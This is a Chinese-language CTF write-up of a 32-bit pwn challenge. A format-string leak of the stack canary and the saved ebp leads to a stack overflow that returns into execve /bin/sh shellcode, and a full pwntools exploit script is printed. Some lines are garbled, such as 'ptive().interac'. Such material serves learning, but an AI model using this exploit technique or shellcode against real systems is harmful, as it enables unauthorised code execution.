前面在终端中查看保护机制和32位在前面提到过就不讲了,
只不过在这里只开启了Canary,所以我们可以用格式化字符串漏洞泄露出栈上保存的Canary,没有开启NX,说明堆栈可执行,我们可以在第二次输入中直接把shellcode布置到栈里面,然后返回到栈里
用ida简单看了一下,就是让你输入名字,然后调用get_message函数输出你的名字,让你留言,留言有溢出漏洞,显然用了printf,也有格式化字符串漏洞
在Ubuntu中对gdb进行调试
gdb加名
start
b *加地址十六进制的
c 表示继续运行
stack 查看栈
esp栈顶地址为 0xffffcf60
ebp栈底地址为0xffffcfe8
在栈的结构中,canary所在的位置是ebp的上面,所以画圈部分就是canary的内容指向他的地址,
p.recvuntil('name:')
p.sendline('%p.'*40)
这两句话的意思是服务器读取我们输入的数据到时候会返回一个函数的地址,然后传递字符串,
shellcode相当于一个后门,
leak_data=p.recvuntil('messages:')
address=leak_data.split('.')
读入数据,然后
split() 方法用于把一个字符串分割成字符串数组。所以在这里,就把刚才读入的信息分割为数组,canary=address[30]
print "canary="+canaryprev_ebp_addr=address[33]
print "stack_addr="+prev_ebp_addr
栈顶到canary函数的距离 上面图中有,转化为16进制是124
124再除以4(因为32位有四个字符,除以四后能够算出来这个地址是第几个,因为这些函数的地址是会变化的,但是位置始终不变,)得到为30
栈顶到 栈底的距离 转化为16进制是136 理由一样, 最后为33
shellcode_addr=int(prev_ebp_addr,16)-144+0x8
ebp地址中的内容转化为16进制的值,减去两者的差即偏移量再加上参数,构成shellcode的地址,
exp:
from pwn import *
shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
"\x0b\xcd\x80\n"
context.log_level='debug'
p=process("./pwn1")
#p=remote('172.16.80.240',8000)
#########################leak canary,prev_ebp_addr################
p.recvuntil('name:')
p.sendline('%p.'*40)
leak_data=p.recvuntil('messages:')
address=leak_data.split('.')
for i in range(len(address)):
print str(i)+':'+str(address[i])
canary=address[30]
print "canary="+canary
prev_ebp_addr=address[33]
print "stack_addr="+prev_ebp_addr
#########################get shellcode_addr########################
shellcode_addr=int(prev_ebp_addr,16)-144+0x8
#########################send shellcode and get shell##############
payload='a'*100+p32(int(canary,16))+'A'*12+p32(shellcode_addr)+shellcode
p.sendline(payload)
ptive().interac
在桌面cat出flag